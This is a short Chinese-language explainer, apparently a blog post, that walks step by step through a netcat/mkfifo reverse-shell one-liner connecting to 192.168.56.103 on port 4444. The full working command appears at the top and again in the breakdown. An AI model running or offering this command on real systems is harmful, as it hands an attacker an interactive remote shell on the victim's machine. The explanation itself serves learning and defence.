rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.103 4444 >/tmp/f;

这条命令链的作用是创建一个反向 Shell,通过 nc(Netcat)连接到远程主机(192.168.56.103)的端口 4444,将本地的 /bin/sh shell 通过管道传输到远程主机,实现在目标机器上执行命令的功能。我们可以逐步解析:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.56.103 4444 > /tmp/f;

逐步解释

1. rm /tmp/f

这条命令删除 /tmp/f 文件。如果 /tmp/f 已经存在,它将被删除,为接下来的命令准备干净的环境。



2. mkfifo /tmp/f

这条命令创建一个名为 /tmp/f 的 FIFO 文件(即命名管道)。FIFO 是一种特殊的文件类型,它允许两个进程通过文件进行通信。在这里,/tmp/f 被用作 shell 和 Netcat 之间的通信通道。



3. cat /tmp/f | /bin/sh -i 2>&1

cat /tmp/f:读取管道文件 /tmp/f 中的数据。

|(管道符号)将 cat /tmp/f 的输出传递给 /bin/sh -i,即交互式 Shell。

/bin/sh -i 启动一个交互式的 shell,意味着它会读取用户输入并执行命令。

2>&1:将标准错误输出(stderr)重定向到标准输出(stdout),确保所有的错误信息也会通过管道传输。



4. | nc 192.168.56.103 4444

nc(Netcat)是一个常用于网络通信的工具。此处,nc 将 shell 的输出传输到指定的 IP 地址 192.168.56.103 和端口 4444。这意味着目标机器将通过 Netcat 与攻击者的机器建立连接,反向连接到攻击者的机器。



5. > /tmp/f

将 nc 命令的输出重定向到 /tmp/f,即把远程主机的输入(来自 192.168.56.103:4444)通过管道传输到 /tmp/f,并最终传递给 cat 和 /bin/sh,从而完成双向通信。




整体工作原理

1. rm /tmp/f 删除 /tmp/f,如果已经存在的话。


2. mkfifo /tmp/f 创建一个命名管道 /tmp/f,用于进程间通信。


3. cat /tmp/f 读取管道 /tmp/f 中的数据,并将其通过管道传递给 /bin/sh -i。


4. /bin/sh -i 启动一个交互式 shell,将输入传递给 shell 执行,错误和标准输出都会通过管道传输。


5. nc 192.168.56.103 4444:将 shell 的输出传送到远程主机的 IP 192.168.56.103,端口 4444。


6. > /tmp/f:通过管道将来自远程主机的输入(即攻击者通过 nc 向目标发送的命令)写入到 /tmp/f,让它被 cat 读取并传递给 /bin/sh,实现反向 shell 交互。



总结

这个命令链通常用于建立一个反向 shell,它通过 nc 连接到攻击者的主机,在目标系统上启动一个交互式 shell。攻击者可以通过远程连接向目标系统发送命令,并接收命令的输出。
 
 
Back to Top